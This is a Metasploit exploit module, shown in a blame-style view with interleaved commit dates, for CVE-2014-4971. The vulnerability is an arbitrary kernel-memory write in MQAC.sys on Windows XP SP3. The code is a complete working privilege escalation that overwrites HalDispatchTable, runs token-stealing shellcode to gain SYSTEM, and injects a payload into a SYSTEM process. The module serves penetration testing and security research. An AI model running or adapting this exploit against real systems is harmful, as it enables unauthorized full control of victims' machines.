Files
metasploit-gs/modules/exploits/windows/local/mqac_write.rb
T

175 lines
6.0 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/exploit/local/windows_kernel'
2017-07-14 08:46:59 +01:00
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Local
Rank = AverageRanking
include Msf::Exploit::Local::WindowsKernel
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
2014-07-28 22:04:45 -05:00
def initialize(info = {})
super(update_info(info,
2014-07-22 10:54:10 -04:00
'Name' => 'MQAC.sys Arbitrary Write Privilege Escalation',
2014-07-28 22:04:45 -05:00
'Description' => %q(
2014-07-22 10:54:10 -04:00
A vulnerability within the MQAC.sys module allows an attacker to
overwrite an arbitrary location in kernel memory.
This module will elevate itself to SYSTEM, then inject the payload
2014-07-22 10:54:10 -04:00
into another SYSTEM process.
2014-07-28 22:04:45 -05:00
),
'License' => MSF_LICENSE,
'Author' =>
[
'Matt Bergin', # original exploit and all the hard work
'Spencer McIntyre' # MSF module
],
2014-07-28 22:04:45 -05:00
'Arch' => [ARCH_X86],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'DefaultOptions' =>
{
2014-07-28 22:04:45 -05:00
'EXITFUNC' => 'thread'
},
2014-07-22 10:54:10 -04:00
'Targets' =>
[
2014-07-28 22:04:45 -05:00
['Windows XP SP3',
{
'HaliQuerySystemInfo' => 0x16bba,
2014-07-28 22:04:45 -05:00
'_KPROCESS' => "\x44",
'_TOKEN' => "\xc8",
'_UPID' => "\x84",
'_APLINKS' => "\x88"
}
]
],
2014-07-28 22:04:45 -05:00
'References' =>
[
2014-08-28 10:19:12 -05:00
['CVE', '2014-4971'],
['EDB', '34112'],
2014-07-28 22:04:45 -05:00
['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt']
],
2014-07-28 22:04:45 -05:00
'DisclosureDate' => 'Jul 22 2014',
2018-10-27 20:54:14 -04:00
'DefaultTarget' => 0,
'Notes' =>
{
'Stability' => [ CRASH_OS_RESTARTS, ],
}
2014-07-28 22:04:45 -05:00
))
end
# Function borrowed from smart_hashdump
def get_system_proc
# Make sure you got the correct SYSTEM Account Name no matter the OS Language
2014-07-25 09:32:54 +10:00
local_sys = resolve_sid('S-1-5-18')
system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}"
2014-07-22 14:45:00 -04:00
this_pid = session.sys.process.getpid
# Processes that can Blue Screen a host if migrated in to
2014-07-25 09:32:54 +10:00
dangerous_processes = ['lsass.exe', 'csrss.exe', 'smss.exe']
session.sys.process.processes.each do |p|
# Check we are not migrating to a process that can BSOD the host
2014-07-25 09:32:54 +10:00
next if dangerous_processes.include?(p['name'])
next if p['pid'] == this_pid
next if p['pid'] == 4
next if p['user'] != system_account_name
return p
end
end
2014-07-22 10:54:10 -04:00
def check
handle = open_device('\\\\.\\MQAC', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
if handle.nil?
2014-07-25 09:32:54 +10:00
print_error('MSMQ installation not found')
2014-07-22 10:54:10 -04:00
return Exploit::CheckCode::Safe
end
session.railgun.kernel32.CloseHandle(handle)
2014-07-25 09:32:54 +10:00
os = sysinfo['OS']
2014-07-22 10:54:10 -04:00
case os
when /windows xp.*service pack 3/i
return Exploit::CheckCode::Appears
when /windows xp/i
vprint_error('Unsupported version of Windows XP detected')
2014-07-22 10:54:10 -04:00
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
def exploit
2016-10-29 08:11:20 +10:00
if sysinfo['Architecture'] == ARCH_X64
fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported')
end
if is_system?
2014-07-25 09:32:54 +10:00
print_error('This meterpreter session is already running as SYSTEM')
return
end
2014-07-28 22:04:45 -05:00
# Running on Windows XP versions that aren't listed in the supported list
# results in a BSOD and so we should not let that happen.
if check == Exploit::CheckCode::Safe
fail_with(Failure::NotVulnerable, "Exploit not available on this system")
end
base_addr = 0xffff
handle = open_device('\\\\.\\MQAC', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
return if handle.nil?
2014-07-22 14:45:00 -04:00
this_proc = session.sys.process.open
unless this_proc.memory.writable?(base_addr)
2014-08-15 21:11:37 +01:00
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [1].pack('V'), nil,
[0xffff].pack('V'),
2014-07-28 22:04:45 -05:00
'MEM_COMMIT|MEM_RESERVE',
'PAGE_EXECUTE_READWRITE')
end
2014-07-22 14:45:00 -04:00
unless this_proc.memory.writable?(base_addr)
print_error('Failed to properly allocate memory')
2014-07-22 14:45:00 -04:00
this_proc.close
return
end
haldispatchtable = find_haldispatchtable
return if haldispatchtable.nil?
print_status("HalDisPatchTable Address: 0x#{haldispatchtable.to_s(16)}")
vprint_status('Getting the hal.dll base address...')
hal_info = find_sys_base('hal.dll')
fail_with(Failure::Unknown, 'Failed to disclose hal.dll base address') if hal_info.nil?
hal_base = hal_info[0]
vprint_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16).rjust(8, '0')}")
hali_query_system_information = hal_base + target['HaliQuerySystemInfo']
restore_ptrs = "\x31\xc0" # xor eax, eax
restore_ptrs << "\xb8" + [hali_query_system_information].pack('V') # mov eax, offset hal!HaliQuerySystemInformation
restore_ptrs << "\xa3" + [haldispatchtable + 4].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax
shellcode = make_nops(0x200) + restore_ptrs + token_stealing_shellcode(target)
2014-08-28 10:19:12 -05:00
this_proc.memory.write(0x1, shellcode)
2014-07-22 14:45:00 -04:00
this_proc.close
2014-07-25 09:32:54 +10:00
print_status('Triggering vulnerable IOCTL')
2014-07-28 22:04:45 -05:00
session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, 0x1965020f,
1, 0x258,
haldispatchtable + 4, 0)
2014-07-28 22:04:45 -05:00
session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
2014-07-22 14:45:00 -04:00
unless is_system?
2014-08-18 13:35:34 -05:00
print_error('Did not get system, exploit failed')
return
end
proc = get_system_proc
print_status("Injecting the payload into SYSTEM process: #{proc['name']}")
unless execute_shellcode(payload.encoded, nil, proc['pid'])
2014-07-25 09:32:54 +10:00
fail_with(Failure::Unknown, 'Error while executing the payload')
end
end
end